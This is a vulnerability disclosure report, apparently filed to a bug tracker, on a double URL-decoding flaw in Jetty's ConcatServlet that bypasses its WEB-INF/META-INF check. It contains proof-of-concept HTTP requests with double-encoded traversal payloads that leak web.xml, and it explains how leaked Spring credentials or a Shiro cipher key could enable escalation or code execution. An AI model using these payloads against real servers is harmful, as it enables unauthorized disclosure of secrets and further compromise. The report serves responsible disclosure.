Description Steven Seeley 2021-05-05 18:24:31 EDT

Created attachment 286329 [details]
triggering the vulnerability to leak the shiro.ini file

Please note: I was unable to open a case for Jetty because I was restricted as a new user. You might want to re-assign this bug to that team.

# Jetty Utility Servlets ConcatServlet Double Decoding Information Disclosure Vulnerability

Version: 10.2 (latest)
Download: https://mvnrepository.com/artifact/org.eclipse.jetty/jetty-servlets/10.0.2
Found By: Steven Seeley of Qihoo 360 Vulcan team
Date: 29/4/2021

## Vulnerability Analysis

```java
/*     */   protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
/*  88 */     String query = request.getQueryString();
/*  89 */     if (query == null) {
/*     */       
/*  91 */       response.sendError(204);
/*     */       
/*     */       return;
/*     */     } 
/*  95 */     List<RequestDispatcher> dispatchers = new ArrayList<RequestDispatcher>();
/*  96 */     String[] parts = query.split("\\&");
/*  97 */     String type = null;
/*  98 */     for (String part : parts) {
/*     */       
/* 100 */       String path = URIUtil.canonicalPath(URIUtil.decodePath(part)); // 1
/* 101 */       if (path == null) {
/*     */         
/* 103 */         response.sendError(404);
/*     */         
/*     */         return;
/*     */       } 
/*     */       
/* 108 */       if (startsWith(path, "/WEB-INF/") || startsWith(path, "/META-INF/")) { // 2
/*     */         
/* 110 */         response.sendError(404);
/*     */         
/*     */         return;
/*     */       } 
/* 114 */       String t = getServletContext().getMimeType(path);
/* 115 */       if (t != null)
/*     */       {
/* 117 */         if (type == null) {
/*     */           
/* 119 */           type = t;
/*     */         }
/* 121 */         else if (!type.equals(t)) {
/*     */           
/* 123 */           response.sendError(415);
/*     */           
/*     */           return;
/*     */         } 
/*     */       }
/* 128 */       RequestDispatcher dispatcher = getServletContext().getRequestDispatcher(path); // 3
/* 129 */       if (dispatcher != null) {
/* 130 */         dispatchers.add(dispatcher);
/*     */       }
/*     */     } 
/* 133 */     if (type != null) {
/* 134 */       response.setContentType(type);
/*     */     }
/* 136 */     for (RequestDispatcher dispatcher : dispatchers)
/*     */     {
/* 138 */       dispatcher.include(request, response); // 4
/*     */     }
/*     */   }
```

At *[1]* the code does a url decode and then attempts to normalize the attacker supplied path. Then at *[2]* there is a check that the path doesn't start with "/WEB-INF/" or "/META-INF/". Later at *[3]* the RequestDispatcher is made and finally at *[4]* the `include` is triggered. 

The problem is that the check at *[2]* can be bypassed because the `RequestDispatcher` will also handle uri decoding. So an attacker that double url encodes a traversal or the `WEB-INF` string in their path which can instantiate a valid dispatcher and leak contents of an attacker controlled file from the ROOT of the web app.

## Impact 

The vulnerability is limited to a file disclosure from the webapp ROOT directory. However, in some contexts this may allow an attacker to escalate further. Let's use two examples:

1. Spring - Elevation of privilege/access

In this environment, it's possible to leak sensitive data from the `application.properties` file such as `spring.datasource.url`, `spring.elasticsearch.rest.password`, `spring.h2.console.settings.web-admin-password`, `spring.influx.password`, `spring.ldap.password`, etc

2. Apache Shiro - Remote Code Execution

In this environment, it's possible to leak the shiro.ini file which contains `securityManager.rememberMeManager.cipherKey`. This key can be used to gain remote code execution against the application via deserialization in the `rememberMe` cookie.

## Proof of Concept

Modify your web.xml to include the servlet:

```xml
  <servlet>
    <servlet-name>Concat</servlet-name>
    <servlet-class>org.eclipse.jetty.servlets.ConcatServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>Concat</servlet-name>
    <url-pattern>/concat</url-pattern>
  </servlet-mapping>
````

Now trigger the bug. Please note that the `js` directory doesn't need to exist:

```
GET /concat?/js/%252e%252e/WEB-INF/web.xml HTTP/1.1
Host: target
```

or, if you prefer to avoid traversals, because of ID$:

```
GET /concat?/%2557EB-INF/web.xml HTTP/1.1
Host: target
```

## Reference

- https://docs.spring.io/spring-boot/docs/current/reference/html/appendix-application-properties.html
- https://shiro.apache.org/configuration.html